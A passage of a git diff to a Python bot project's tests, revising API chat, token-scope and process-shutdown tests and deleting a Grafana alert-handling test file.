TestServer +from src.config.schema import Config +from src.web.api.sessions_chat import register_chat + MAX_CHAT_CONTENT_LEN = 32_000 def _make_bot(): bot = MagicMock() bot.sessions = MagicMock() + bot.config = Config(discord={"token": "test"}) + bot.api_token_manager = None return bot _mock_result = None def _make_app(bot): - """Build a minimal app whose /api/execute mirrors the real handler.""" - app = web.Application() - routes = web.RouteTableDef() - - @routes.post("/api/execute") - async def execute(request): + """Exercise production validation, identity and ephemeral ownership.""" + @web.middleware + async def provider_boundary(request, handler): auth = request.headers.get("Authorization", "") if not auth.startswith("Bearer ") or auth[7:] != "test-token": return web.json_response({"error": "unauthorized"}, status=401) - try: - data = await request.json() - except Exception: - return web.json_response({"error": "invalid JSON"}, status=400) - content = (data.get("prompt") or data.get("content") or "").strip() - if not content: - return web.json_response({"error": "prompt is required"}, status=400) - - channel_id = f"api-{uuid.uuid4().hex[:12]}" result = _mock_result or {"response": "", "tools_used": [], "is_error": True, "files": []} + with patch("src.web.api.process_web_chat", new=AsyncMock(return_value=result)): + return await handler(request) - # Mirror production: identity is hardcoded, not caller-controlled - _user_id = "api-user" - _username = "API" - - bot.sessions.reset(channel_id) - - status_code = 200 if not result["is_error"] else 502 - resp = { - "response": result["response"], - "tools_used": result["tools_used"], - "is_error": result["is_error"], - } - return web.json_response(resp, status=status_code) - + app = web.Application(middlewares=[provider_boundary]) + routes = web.RouteTableDef() + register_chat(routes, bot) app.router.add_routes(routes) return app @@ -165,8 +146,9 @@ async def test_ephemeral_session_cleaned_up(self): headers={"Authorization": "Bearer test-token"}, ) assert resp.status == 200 - bot.sessions.reset.assert_called_once() - call_arg = bot.sessions.reset.call_args[0][0] + bot.sessions.reset.assert_not_called() + bot.sessions.ephemeral.assert_called_once() + call_arg = bot.sessions.ephemeral.call_args[0][0] assert call_arg.startswith("api-") finally: _mock_result = None @@ -244,7 +226,7 @@ async def test_identity_hardcoded_not_caller_controlled(self): assert process_web_chat.call_args.kwargs["username"] == "API" @pytest.mark.asyncio - async def test_session_reset_called(self): + async def test_ephemeral_lifecycle_without_durable_reset(self): bot = _make_bot() bot.config = MagicMock() bot.config.web.api_token = "" @@ -270,8 +252,9 @@ async def test_session_reset_called(self): json={"prompt": "test"}, ) assert resp.status == 200 - bot.sessions.reset.assert_called_once() - channel_id = bot.sessions.reset.call_args[0][0] + bot.sessions.reset.assert_not_called() + bot.sessions.ephemeral.assert_called_once() + channel_id = bot.sessions.ephemeral.call_args[0][0] assert channel_id.startswith("api-") @pytest.mark.asyncio diff --git a/tests/test_executor_integration_smoke.py b/tests/test_executor_integration_smoke.py index 8394cd913..3f7750547 100644 --- a/tests/test_executor_integration_smoke.py +++ b/tests/test_executor_integration_smoke.py @@ -606,7 +606,8 @@ async def test_dispatch_loop_tool_invoke_skill_missing_name(self): msg_proxy, user_id="u1", ) - assert "requires 'name'" in out + assert not out.ok + assert "requires 'name'" in out.output @pytest.mark.asyncio async def test_dispatch_loop_tool_invoke_skill_unknown_skill(self): @@ -620,7 +621,8 @@ async def test_dispatch_loop_tool_invoke_skill_unknown_skill(self): msg_proxy, user_id="u1", ) - assert "not found or disabled" in out + assert not out.ok + assert "not found or disabled" in out.output def test_validate_schedule_rejects_check_without_tool_input(self): """Odin queued a check-action schedule without tool_input; it fired 90s @@ -890,6 +892,7 @@ async def test_dispatch_loop_tool_invoke_skill_missing_required_field(self): msg_proxy, user_id="u1", ) - assert "missing required fields" in out - assert "msg" in out + assert not out.ok + assert "missing required fields" in out.output + assert "msg" in out.output bot.skill_manager.execute.assert_not_called() diff --git a/tests/test_executor_output_retention.py b/tests/test_executor_output_retention.py index 30fff7563..ee26e4697 100644 --- a/tests/test_executor_output_retention.py +++ b/tests/test_executor_output_retention.py @@ -4,7 +4,8 @@ import pytest -from src.config.schema import ToolHost, ToolsConfig +from src.config.schema import ToolHost, ToolsConfig, WebConfig +from src.permissions.token_manager import ApiTokenManager from src.tools.executor import ToolExecutor from src.tools.output_authorization import request_tool_scope, web_output_scope from src.tools.output_retention import OutputStore @@ -25,6 +26,13 @@ async def retrieve(ex, cursor, user="owner"): return await ex.execute("get_tool_output", {"cursor": cursor}, user_id=user) +async def web_principal(tmp_path, *, allowed_tools=None): + manager = ApiTokenManager(str(tmp_path / "tokens.json")) + identity = await manager.create_token("owner", tier="admin", allowed_tools=allowed_tools) + bot = SimpleNamespace(api_token_manager=manager, config=SimpleNamespace(web=WebConfig())) + return bot, identity, manager + + @pytest.mark.parametrize("exit_code", [0, 7]) async def test_actual_command_full_capture_restart_reconstruction(tmp_path, exit_code): ex = executor(tmp_path) @@ -90,22 +98,19 @@ async def test_scope_host_policy_generation_quota_and_expiry(tmp_path): async def test_web_token_live_revocation_and_host_scope(tmp_path): ex = executor(tmp_path) - identity = SimpleNamespace(allowed_tools=[], allowed_hosts=None) - manager = SimpleNamespace(resolve=lambda raw: identity) - bot = SimpleNamespace(api_token_manager=manager) + bot, identity, manager = await web_principal(tmp_path) request = SimpleNamespace(headers={"Authorization": "Bearer test-fixture-credential"}) + request.headers = {"Authorization": f"Bearer {identity.token}"} with web_output_scope(bot, request), execution_delivery_scope("owner", "channel-a"): result = await ex.execute("run_command", { "host": "testhost", "command": "printf '%030000d' 0"}, user_id="owner") cursor = json.loads(result.output)["cursor"] assert (await retrieve(ex, cursor)).ok - identity.allowed_hosts = [] + await manager.update_token("owner", allowed_hosts=[]) assert not (await retrieve(ex, cursor)).ok - identity.allowed_hosts = None - identity.allowed_tools = ["get_tool_output"] + await manager.update_token("owner", allowed_hosts=None, allowed_tools=["get_tool_output"]) assert not (await retrieve(ex, cursor)).ok - identity.allowed_tools = [] - manager.resolve = lambda raw: None + await manager.delete_token("owner") assert not (await retrieve(ex, cursor)).ok @@ -142,11 +147,10 @@ async def test_initial_retrieval_unavailable_is_honest(tmp_path): async def test_execute_ephemeral_conversation_has_stable_evidence_scope(tmp_path): ex = executor(tmp_path) - identity = SimpleNamespace(allowed_tools=[], allowed_hosts=None) - manager = SimpleNamespace(resolve=lambda raw: identity) - bot = SimpleNamespace(api_token_manager=manager) + bot, identity, manager = await web_principal(tmp_path) request = SimpleNamespace(path="/api/execute", headers={ "Authorization": "Bearer test-fixture-credential"}) + request.headers = {"Authorization": f"Bearer {identity.token}"} with web_output_scope(bot, request), execution_delivery_scope("owner", "ephemeral-one"): result = await ex.execute("run_command", { "host": "testhost", "command": "printf '%030000d' 0"}, user_id="owner") @@ -162,9 +166,7 @@ async def test_real_web_chat_entry_binds_and_resets_token_scope(tmp_path, monkey from src.tools.output_authorization import request_scope_id, tool_scope_allows from src.web.api.sessions_chat import _pkg_process_web_chat - identity = SimpleNamespace(allowed_tools=["get_tool_output"], allowed_hosts=None) - manager = SimpleNamespace(resolve=lambda raw: identity) - bot = SimpleNamespace(api_token_manager=manager) + bot, identity, manager = await web_principal(tmp_path, allowed_tools=["get_tool_output"]) request = SimpleNamespace(headers={"Authorization": "Bearer test-fixture-credential"}) async def dispatch(*args, **kwargs): @@ -172,11 +174,12 @@ async def dispatch(*args, **kwargs): assert request_scope_id.get() assert tool_scope_allows("get_tool_output") assert not tool_scope_allows("run_command") - manager.resolve = lambda raw: None + await manager.delete_token("owner") assert not tool_scope_allows("get_tool_output") return "done" monkeypatch.setattr("src.web.api.process_web_chat", dispatch) + request.headers = {"Authorization": f"Bearer {identity.token}"} assert await _pkg_process_web_chat(bot, "prompt", "channel", _request=request) == "done" assert request_scope_id.get() == "" diff --git a/tests/test_generated_api_reference.py b/tests/test_generated_api_reference.py index 2063a8a76..08610c9a9 100644 --- a/tests/test_generated_api_reference.py +++ b/tests/test_generated_api_reference.py @@ -26,7 +26,7 @@ def test_committed_api_reference_is_byte_identical(): def test_routes_exactly_match_characterization_method_path_name_and_order(): rows = reference.collect_rest_routes() assert [(r.method, r.path, r.handler_name) for r in rows] == EXPECTED_ROUTES - assert len(rows) == 237 + assert len(rows) == 231 assert len({(r.method, r.path) for r in rows}) == len(rows) rendered = reference.render().split("## Other HTTP and WebSocket routes", 1)[0] table = [line.split(" | ") for line in rendered.splitlines() if line.startswith("| ")][2:] @@ -160,8 +160,8 @@ async def documented(request): assert reference.first_doc_line(documented) == "First line | {{literal}}." -HEALTH = ["/health", "/health/live", "/health/ready", "/metrics"] -WEBHOOKS = [f"/webhook/{name}" for name in ("gitea", "grafana", "generic", "github", "gitlab")] +HEALTH = ["/health", "/health/live", "/health/ready"] +WEBHOOKS = [f"/webhook/{name}" for name in ("gitea", "generic", "github", "gitlab")] UI = ["/", "/ui/{path:.*}", "/ui"] @@ -171,8 +171,8 @@ async def documented(request): ({}, HEALTH + WEBHOOKS + UI + ["/api/ws"]), ({"web_enabled": False}, HEALTH + WEBHOOKS), ({"webhooks_enabled": False}, HEALTH + UI + ["/api/ws"]), - ({"ui_exists": False}, HEALTH + WEBHOOKS + ["/api/ws"]), - ({"dist_exists": False}, HEALTH + WEBHOOKS + UI + ["/api/ws"]), + ({"ui_exists": False}, HEALTH + WEBHOOKS + UI + ["/api/ws"]), + ({"dist_exists": False}, HEALTH + WEBHOOKS + ["/", "/ui", "/ui/{path:.*}", "/api/ws"]), ({"wire_bot": False}, HEALTH + WEBHOOKS + UI), ({"web_enabled": False, "webhooks_enabled": False}, HEALTH), ], @@ -205,7 +205,7 @@ def forbidden(*args, **kwargs): # Constructors can register routes but must not inspect UI assets on disk. monkeypatch.setattr(reference.Path, "is_dir", forbidden) monkeypatch.setattr(reference.Path, "is_file", forbidden) - assert "**237 REST registrations**" in reference.render() + assert "**231 REST registrations**" in reference.render() def test_cli_is_offline_and_works_outside_repo_without_git(tmp_path): diff --git a/tests/test_graceful_shutdown.py b/tests/test_graceful_shutdown.py index 09a449021..ec2f7e145 100644 --- a/tests/test_graceful_shutdown.py +++ b/tests/test_graceful_shutdown.py @@ -260,21 +260,16 @@ async def test_shutdown_services_closes_image_backend(self): @pytest.mark.asyncio async def test_shutdown_skips_already_finished(self): registry = ProcessRegistry() - previous = set(registry._processes) - await registry.start("localhost", "echo done") - [pid] = set(registry._processes) - previous - info = registry._processes[pid] - try: - await asyncio.wait_for(info._exit_task, 5) - await asyncio.wait_for(info._reader_task, 5) - assert info.status == "completed" - except BaseException: - await registry.shutdown() - raise + # This record represents a session that was settled earlier. A leader + # exit by itself is not evidence that owned descendants are gone. + info = ProcessInfo( + pid=5, command="echo done", host="localhost", start_time=time.time(), + status="completed", session_confirmed_empty=True, + ) + registry._processes[info.pid] = info - killed = await registry.shutdown() - # Process already finished, so kill count should be 0 - assert killed == 0 + assert await registry.shutdown() == 0 + assert info.session_confirmed_empty is True @pytest.mark.asyncio async def test_shutdown_skips_done_or_absent_reader_task(self): @@ -286,12 +281,12 @@ async def test_shutdown_skips_done_or_absent_reader_task(self): await done info_done = ProcessInfo( pid=1, command="x", host="localhost", start_time=time.time(), - status="completed", + status="completed", session_confirmed_empty=True, ) info_done._reader_task = done info_none = ProcessInfo( pid=2, command="x", host="localhost", start_time=time.time(), - status="completed", + status="completed", session_confirmed_empty=True, ) info_none._reader_task = None registry._processes[1] = info_done @@ -300,7 +295,34 @@ async def test_shutdown_skips_done_or_absent_reader_task(self): assert await registry.shutdown() == 0 # nothing to do, no raise @pytest.mark.asyncio - async def test_shutdown_cancels_wedged_reaper_after_timeout(self, monkeypatch): + async def test_completed_status_alone_does_not_prove_descendant_cleanup(self, monkeypatch): + """A reaped leader's terminal status is not owned-session proof.""" + registry = ProcessRegistry() + process = MagicMock(returncode=0, pid=5) + info = ProcessInfo( + pid=5, command="x", host="localhost", start_time=time.time(), + process=process, status="completed", session_confirmed_empty=False, + ) + registry._processes[5] = info + cleanup = AsyncMock(return_value=False) + monkeypatch.setattr(registry, "_kill_group_until_gone", cleanup) + from src.tools import ssh + + terminate = AsyncMock() + monkeypatch.setattr(ssh, "terminate_process_tree", terminate) + + with pytest.raises(pm.ProcessCleanupError, match="PID\\(s\\) \\[5\\]"): + await registry.shutdown() + + cleanup.assert_awaited_with(info) + assert cleanup.await_count >= 2 # initial termination plus final proof + terminate.assert_awaited_once_with(process, grace=5.0) + assert info.status == "completed" + assert info.session_confirmed_empty is False + + @pytest.mark.asyncio + @pytest.mark.parametrize("settled", [True, False]) + async def test_shutdown_cancels_wedged_reaper_after_timeout(self, monkeypatch, settled): # A reaper that never finishes must not hang the in-place exec: after # SHUTDOWN_REAP_TIMEOUT it is cancelled so shutdown can return. monkeypatch.setattr(pm, "SHUTDOWN_REAP_TIMEOUT", 0.05) @@ -311,20 +333,25 @@ async def wedged(): info = ProcessInfo( pid=3, command="x", host="localhost", start_time=time.time(), - status="completed", + status="completed", session_confirmed_empty=settled, ) info._reader_task = asyncio.create_task(wedged()) registry._processes[3] = info - await registry.shutdown() + if settled: + await registry.shutdown() + else: + with pytest.raises(pm.ProcessCleanupError, match="could not confirm"): + await registry.shutdown() with pytest.raises(asyncio.CancelledError): await info._reader_task @pytest.mark.asyncio - async def test_shutdown_tolerates_reaper_that_raises(self): - # A reaper that errors during shutdown is logged and swallowed — one - # bad record must not abort cleanup of the rest or block re-exec. + @pytest.mark.parametrize("settled", [True, False]) + async def test_shutdown_tolerates_reaper_that_raises(self, settled): + # A reader error is nonfatal only if execution settlement was proven. + # Error swallowing must not erase uncertain descendant authority. registry = ProcessRegistry() async def boom(): @@ -332,12 +359,16 @@ async def boom(): info = ProcessInfo( pid=4, command="x", host="localhost", start_time=time.time(), - status="completed", + status="completed", session_confirmed_empty=settled, ) info._reader_task = asyncio.create_task(boom()) registry._processes[4] = info - await registry.shutdown() # must not propagate + if settled: + await registry.shutdown() + else: + with pytest.raises(pm.ProcessCleanupError, match="could not confirm"): + await registry.shutdown() class TestUnprovenCleanupEscalation: diff --git a/tests/test_grafana_alerts.py b/tests/test_grafana_alerts.py deleted file mode 100644 index d6b82ffaa..000000000 --- a/tests/test_grafana_alerts.py +++ /dev/null @@ -1,1594 +0,0 @@ -"""Tests for Grafana alert parsing, remediation handler, and auto-remediation (Round 19). - -Tests the GrafanaAlertHandler module: alert parsing, rule matching, -remediation spawning, config schema, health server integration, and REST API endpoints. -""" - -from __future__ import annotations - -import time -from unittest.mock import AsyncMock, MagicMock - -import pytest -from aiohttp.test_utils import TestClient, TestServer - -from src.config.schema import ( - Config, - GrafanaAlertConfig, - GrafanaRemediationRuleConfig, - WebhookConfig, -) -from src.health.grafana_alerts import ( - DEFAULT_COOLDOWN_SECONDS, - DEFAULT_REMEDIATION_INTERVAL, - DEFAULT_REMEDIATION_MAX_ITER, - MAX_ALERT_HISTORY, - MAX_ANNOTATION_LEN, - MAX_CONCURRENT_REMEDIATIONS, - MAX_LABEL_VALUE_LEN, - GrafanaAlert, - GrafanaAlertHandler, - RemediationRecord, - RemediationRule, - _make_fingerprint, - build_remediation_prompt, - format_alert_message, - matches_rule, - parse_grafana_payload, -) -from src.health.server import HealthServer - -# --------------------------------------------------------------------------- -# Sample payloads -# --------------------------------------------------------------------------- - -def _firing_alert(name="HighCPU", instance="web-1:9090", severity="critical"): - return { - "status": "firing", - "labels": {"alertname": name, "instance": instance, "severity": severity, "job": "node"}, - "annotations": {"summary": f"{name} on {instance}", "description": "CPU usage is high"}, - "startsAt": "2026-04-15T10:00:00Z", - "endsAt": "0001-01-01T00:00:00Z", - "generatorURL": "http://grafana:3000/alerting/1/edit", - "fingerprint": "abc123", - "silenceURL": "http://grafana:3000/alerting/silence/new?matcher=alertname%3DHighCPU", - "dashboardURL": "http://grafana:3000/d/abc", - "panelURL": "http://grafana:3000/d/abc?viewPanel=1", - "values": {"A": 95.2, "B": 90}, - } - - -def _resolved_alert(name="HighCPU", instance="web-1:9090"): - return { - "status": "resolved", - "labels": {"alertname": name, "instance": instance, "severity": "critical"}, - "annotations": {"summary": f"{name} resolved on {instance}"}, - "startsAt": "2026-04-15T10:00:00Z", - "endsAt": "2026-04-15T10:15:00Z", - "generatorURL": "http://grafana:3000/alerting/1/edit", - "fingerprint": "abc123", - } - - -def _unified_payload(*alerts): - return {"alerts": list(alerts), "status": "firing", "groupLabels": {"alertname": "HighCPU"}} - - -def _legacy_payload(title="Disk Full", message="Disk /dev/sda1 is 95% full"): - return {"title": title, "message": message, "state": "alerting", "ruleUrl": "http://grafana:3000/alerting/1"} - - -# --------------------------------------------------------------------------- -# GrafanaAlertConfig schema -# --------------------------------------------------------------------------- - - -class TestGrafanaAlertConfigDefaults: - def test_defaults(self): - cfg = GrafanaAlertConfig() - assert not hasattr(cfg, "enabled") - assert cfg.auto_remediate is False - assert cfg.rules == [] - assert cfg.cooldown_seconds == 300 - assert cfg.max_concurrent_remediations == 5 - - def test_custom_values(self): - cfg = GrafanaAlertConfig( - auto_remediate=True, - cooldown_seconds=600, - max_concurrent_remediations=3, - ) - assert cfg.auto_remediate is True - assert cfg.cooldown_seconds == 600 - assert cfg.max_concurrent_remediations == 3 - - def test_config_includes_grafana_alerts(self): - cfg = Config(discord={"token": "test"}) - assert hasattr(cfg, "grafana_alerts") - assert isinstance(cfg.grafana_alerts, GrafanaAlertConfig) - assert not hasattr(cfg.grafana_alerts, "enabled") - - def test_config_with_grafana_alerts(self): - cfg = Config( - discord={"token": "test"}, - grafana_alerts={"auto_remediate": True}, - ) - assert cfg.grafana_alerts.auto_remediate is True - - def test_config_with_rules(self): - cfg = Config( - discord={"token": "test"}, - grafana_alerts={ - "rules": [ - { - "id": "cpu_high", - "name_pattern": "HighCPU*", - "remediation_goal": "Check CPU usage", - "mode": "act", - } - ], - }, - ) - assert len(cfg.grafana_alerts.rules) == 1 - assert cfg.grafana_alerts.rules[0].id == "cpu_high" - assert cfg.grafana_alerts.rules[0].name_pattern == "HighCPU*" - assert cfg.grafana_alerts.rules[0].mode == "act" - - -class TestGrafanaRemediationRuleConfig: - def test_defaults(self): - cfg = GrafanaRemediationRuleConfig() - assert cfg.id == "" - assert cfg.name_pattern == "*" - assert cfg.label_matchers == {} - assert cfg.severity_filter == [] - assert cfg.remediation_goal == "" - assert cfg.mode == "notify" - assert cfg.interval_seconds == 30 - assert cfg.max_iterations == 10 - assert cfg.cooldown_seconds == 300 - - def test_custom_values(self): - cfg = GrafanaRemediationRuleConfig( - id="disk_full", - name_pattern="DiskFull*", - label_matchers={"job": "node"}, - severity_filter=["critical", "warning"], - remediation_goal="Clean up disk space", - mode="act", - interval_seconds=60, - max_iterations=5, - cooldown_seconds=600, - ) - assert cfg.id == "disk_full" - assert cfg.name_pattern == "DiskFull*" - assert cfg.label_matchers == {"job": "node"} - - def test_invalid_mode(self): - with pytest.raises(ValueError, match="Invalid mode"): - GrafanaRemediationRuleConfig(mode="invalid") - - def test_valid_modes(self): - for mode in ("notify", "act", "silent"): - cfg = GrafanaRemediationRuleConfig(mode=mode) - assert cfg.mode == mode - - -# --------------------------------------------------------------------------- -# Alert parsing — unified alerting format -# --------------------------------------------------------------------------- - - -class TestParseGrafanaPayloadUnified: - def test_single_firing_alert(self): - payload = _unified_payload(_firing_alert()) - alerts = parse_grafana_payload(payload) - assert len(alerts) == 1 - a = alerts[0] - assert a.alert_name == "HighCPU" - assert a.status == "firing" - assert a.instance == "web-1:9090" - assert a.severity == "critical" - assert a.fingerprint == "abc123" - assert a.summary == "HighCPU on web-1:9090" - assert a.description == "CPU usage is high" - assert a.generator_url == "http://grafana:3000/alerting/1/edit" - assert a.silence_url != "" - assert a.dashboard_url != "" - assert a.panel_url != "" - assert a.values == {"A": 95.2, "B": 90} - - def test_resolved_alert(self): - payload = _unified_payload(_resolved_alert()) - alerts = parse_grafana_payload(payload) - assert len(alerts) == 1 - assert alerts[0].status == "resolved" - assert alerts[0].ends_at == "2026-04-15T10:15:00Z" - - def test_multiple_alerts(self): - payload = _unified_payload( - _firing_alert("HighCPU", "web-1:9090"), - _firing_alert("HighMemory", "web-2:9090", "warning"), - _resolved_alert("DiskFull", "db-1:9090"), - ) - alerts = parse_grafana_payload(payload) - assert len(alerts) == 3 - assert alerts[0].alert_name == "HighCPU" - assert alerts[1].alert_name == "HighMemory" - assert alerts[1].severity == "warning" - assert alerts[2].status == "resolved" - - def test_missing_fields_defaults(self): - payload = {"alerts": [{"labels": {"alertname": "Minimal"}, "status": "firing"}]} - alerts = parse_grafana_payload(payload) - assert len(alerts) == 1 - a = alerts[0] - assert a.alert_name == "Minimal" - assert a.status == "firing" - assert a.instance == "" - assert a.severity == "unknown" - assert a.summary == "" - assert a.starts_at == "" - assert a.generator_url == "" - - def test_empty_alerts_array(self): - payload = {"alerts": []} - alerts = parse_grafana_payload(payload) - assert alerts == [] - - def test_no_alerts_key(self): - payload = {} - alerts = parse_grafana_payload(payload) - assert alerts == [] - - def test_value_string_format(self): - raw = _firing_alert() - raw["values"] = None - raw["valueString"] = "[ var='A' labels={} value=95.2 ]" - payload = _unified_payload(raw) - alerts = parse_grafana_payload(payload) - assert alerts[0].values == {"raw": "[ var='A' labels={} value=95.2 ]"} - - def test_annotation_truncation(self): - raw = _firing_alert() - raw["annotations"]["summary"] = "x" * 2000 - payload = _unified_payload(raw) - alerts = parse_grafana_payload(payload) - assert len(alerts[0].summary) == MAX_ANNOTATION_LEN - - def test_label_value_truncation(self): - raw = _firing_alert() - raw["labels"]["long_label"] = "y" * 1000 - payload = _unified_payload(raw) - alerts = parse_grafana_payload(payload) - assert len(alerts[0].labels["long_label"]) == MAX_LABEL_VALUE_LEN - - def test_alertname_fallback(self): - raw = {"status": "firing", "labels": {}, "alertname": "FallbackName"} - payload = _unified_payload(raw) - alerts = parse_grafana_payload(payload) - assert alerts[0].alert_name == "FallbackName" - - def test_fingerprint_generated_when_missing(self): - raw = {"status": "firing", "labels": {"alertname": "Test"}} - payload = _unified_payload(raw) - alerts = parse_grafana_payload(payload) - assert alerts[0].fingerprint # not empty - assert len(alerts[0].fingerprint) == 16 - - -# --------------------------------------------------------------------------- -# Alert parsing — legacy format -# --------------------------------------------------------------------------- - - -class TestParseGrafanaPayloadLegacy: - def test_legacy_title_message(self): - payload = _legacy_payload() - alerts = parse_grafana_payload(payload) - assert len(alerts) == 1 - a = alerts[0] - assert a.alert_name == "Disk Full" - assert a.summary == "Disk /dev/sda1 is 95% full" - assert a.status == "alerting" - assert a.generator_url == "http://grafana:3000/alerting/1" - - def test_legacy_rulename(self): - payload = {"ruleName": "Memory High", "state": "alerting"} - alerts = parse_grafana_payload(payload) - assert len(alerts) == 1 - assert alerts[0].alert_name == "Memory High" - assert alerts[0].status == "alerting" - - def test_legacy_empty_payload(self): - payload = {"title": "", "message": ""} - alerts = parse_grafana_payload(payload) - assert alerts == [] - - def test_legacy_no_message_uses_state(self): - payload = {"title": "Alert", "state": "ok"} - alerts = parse_grafana_payload(payload) - assert len(alerts) == 1 - assert alerts[0].status == "ok" - assert alerts[0].summary == "ok" - - -# --------------------------------------------------------------------------- -# Alert formatting -# --------------------------------------------------------------------------- - - -class TestFormatAlertMessage: - def test_single_firing(self): - alerts = parse_grafana_payload(_unified_payload(_firing_alert())) - msg = format_alert_message(alerts) - assert "**Grafana Alert**:" in msg - assert "HighCPU" in msg - assert "firing" in msg - assert "web-1:9090" in msg - assert "critical" in msg - - def test_multiple_alerts(self): - alerts = parse_grafana_payload(_unified_payload( - _firing_alert("A"), _firing_alert("B"), - )) - msg = format_alert_message(alerts) - assert "2 alert(s)" in msg - assert "**A**" in msg - assert "**B**" in msg - - def test_resolved_shows_green(self): - alerts = parse_grafana_payload(_unified_payload(_resolved_alert())) - msg = format_alert_message(alerts) - assert "\U0001f7e2" in msg - - def test_firing_shows_red(self): - alerts = parse_grafana_payload(_unified_payload(_firing_alert())) - msg = format_alert_message(alerts) - assert "\U0001f534" in msg - - def test_empty_alerts(self): - msg = format_alert_message([]) - assert "no alerts" in msg - - def test_values_shown(self): - alerts = parse_grafana_payload(_unified_payload(_firing_alert())) - msg = format_alert_message(alerts) - assert "Values:" in msg - assert "A=95.2" in msg - - def test_summary_shown(self): - alerts = parse_grafana_payload(_unified_payload(_firing_alert())) - msg = format_alert_message(alerts) - assert "HighCPU on web-1:9090" in msg - - -# --------------------------------------------------------------------------- -# Fingerprint generation -# --------------------------------------------------------------------------- - - -class TestMakeFingerprint: - def test_deterministic(self): - fp1 = _make_fingerprint("Test", {"a": "1", "b": "2"}) - fp2 = _make_fingerprint("Test", {"a": "1", "b": "2"}) - assert fp1 == fp2 - - def test_different_names(self): - fp1 = _make_fingerprint("A", {}) - fp2 = _make_fingerprint("B", {}) - assert fp1 != fp2 - - def test_different_labels(self): - fp1 = _make_fingerprint("Test", {"a": "1"}) - fp2 = _make_fingerprint("Test", {"a": "2"}) - assert fp1 != fp2 - - def test_length(self): - fp = _make_fingerprint("Alert", {"x": "y"}) - assert len(fp) == 16 - - -# --------------------------------------------------------------------------- -# Rule matching -# --------------------------------------------------------------------------- - - -class TestMatchesRule: - def _alert(self, name="HighCPU", severity="critical", labels=None): - return GrafanaAlert( - fingerprint="fp1", status="firing", alert_name=name, - labels={"severity": severity, **(labels or {})}, - annotations={}, starts_at="", ends_at="", generator_url="", - silence_url="", dashboard_url="", panel_url="", - values={}, severity=severity, instance="", summary="", description="", - ) - - def test_exact_name_match(self): - rule = RemediationRule(id="r1", name_pattern="HighCPU") - assert matches_rule(self._alert("HighCPU"), rule) is True - assert matches_rule(self._alert("LowCPU"), rule) is False - - def test_wildcard_name(self): - rule = RemediationRule(id="r1", name_pattern="High*") - assert matches_rule(self._alert("HighCPU"), rule) is True - assert matches_rule(self._alert("HighMemory"), rule) is True - assert matches_rule(self._alert("LowCPU"), rule) is False - - def test_catch_all(self): - rule = RemediationRule(id="r1", name_pattern="*") - assert matches_rule(self._alert("Anything"), rule) is True - - def test_severity_filter(self): - rule = RemediationRule(id="r1", name_pattern="*", severity_filter=["critical"]) - assert matches_rule(self._alert(severity="critical"), rule) is True - assert matches_rule(self._alert(severity="warning"), rule) is False - - def test_severity_filter_multiple(self): - rule = RemediationRule(id="r1", name_pattern="*", severity_filter=["critical", "warning"]) - assert matches_rule(self._alert(severity="critical"), rule) is True - assert matches_rule(self._alert(severity="warning"), rule) is True - assert matches_rule(self._alert(severity="info"), rule) is False - - def test_label_matchers(self): - rule = RemediationRule(id="r1", name_pattern="*", label_matchers={"job": "node"}) - assert matches_rule(self._alert(labels={"job": "node"}), rule) is True - assert matches_rule(self._alert(labels={"job": "prometheus"}), rule) is False - - def test_label_matchers_wildcard(self): - rule = RemediationRule(id="r1", name_pattern="*", label_matchers={"instance": "web-*"}) - assert matches_rule(self._alert(labels={"instance": "web-1"}), rule) is True - assert matches_rule(self._alert(labels={"instance": "db-1"}), rule) is False - - def test_label_matchers_missing_label(self): - rule = RemediationRule(id="r1", name_pattern="*", label_matchers={"missing": "val"}) - assert matches_rule(self._alert(), rule) is False - - def test_disabled_rule(self): - rule = RemediationRule(id="r1", name_pattern="*", enabled=False) - assert matches_rule(self._alert(), rule) is False - - def test_combined_filters(self): - rule = RemediationRule( - id="r1", name_pattern="High*", - severity_filter=["critical"], - label_matchers={"job": "node"}, - ) - assert matches_rule(self._alert("HighCPU", "critical", {"job": "node"}), rule) is True - assert matches_rule(self._alert("HighCPU", "warning", {"job": "node"}), rule) is False - assert matches_rule(self._alert("HighCPU", "critical", {"job": "prom"}), rule) is False - assert matches_rule(self._alert("LowCPU", "critical", {"job": "node"}), rule) is False - - -# --------------------------------------------------------------------------- -# Remediation prompt building -# --------------------------------------------------------------------------- - - -class TestBuildRemediationPrompt: - def _alert(self, **kwargs): - defaults = dict( - fingerprint="fp1", status="firing", alert_name="HighCPU", - labels={}, annotations={}, starts_at="", ends_at="", - generator_url="", silence_url="", dashboard_url="", panel_url="", - values={"A": 95.2}, severity="critical", instance="web-1:9090", - summary="CPU is high", description="", - ) - defaults.update(kwargs) - return GrafanaAlert(**defaults) - - def test_includes_alert_info(self): - prompt = build_remediation_prompt( - self._alert(), RemediationRule(id="r1", name_pattern="*"), - ) - assert "HighCPU" in prompt - assert "firing" in prompt - assert "web-1:9090" in prompt - assert "critical" in prompt - assert "CPU is high" in prompt - - def test_custom_goal(self): - rule = RemediationRule( - id="r1", name_pattern="*", remediation_goal="Restart the service", - ) - prompt = build_remediation_prompt(self._alert(), rule) - assert "Restart the service" in prompt - - def test_default_goal(self): - rule = RemediationRule(id="r1", name_pattern="*", remediation_goal="") - prompt = build_remediation_prompt(self._alert(), rule) - assert "Investigate and remediate" in prompt - - def test_includes_values(self): - prompt = build_remediation_prompt( - self._alert(), RemediationRule(id="r1", name_pattern="*"), - ) - assert "A=95.2" in prompt - - def test_stop_condition(self): - prompt = build_remediation_prompt( - self._alert(), RemediationRule(id="r1", name_pattern="*"), - ) - assert "Stop condition" in prompt - - def test_description_fallback(self): - alert = self._alert(summary="", description="Detailed description") - prompt = build_remediation_prompt( - alert, RemediationRule(id="r1", name_pattern="*"), - ) - assert "Detailed description" in prompt - - -# --------------------------------------------------------------------------- -# GrafanaAlertHandler — init and rules -# --------------------------------------------------------------------------- - - -class TestGrafanaAlertHandlerInit: - def test_defaults(self): - handler = GrafanaAlertHandler() - assert handler.rules == [] - assert handler.alert_history == [] - assert handler.active_remediations == {} - status = handler.get_status() - assert status["auto_remediate"] is False - assert status["rules_count"] == 0 - - def test_with_rules(self): - rules = [ - RemediationRule(id="r1", name_pattern="High*"), - RemediationRule(id="r2", name_pattern="Low*"), - ] - handler = GrafanaAlertHandler(rules=rules, auto_remediate=True) - assert len(handler.rules) == 2 - assert handler.get_status()["auto_remediate"] is True - - def test_custom_params(self): - handler = GrafanaAlertHandler( - cooldown_seconds=600, max_concurrent=3, - ) - status = handler.get_status() - assert status["cooldown_seconds"] == 600 - assert status["max_concurrent"] == 3 - - -class TestGrafanaAlertHandlerRules: - def test_add_rule(self): - handler = GrafanaAlertHandler() - 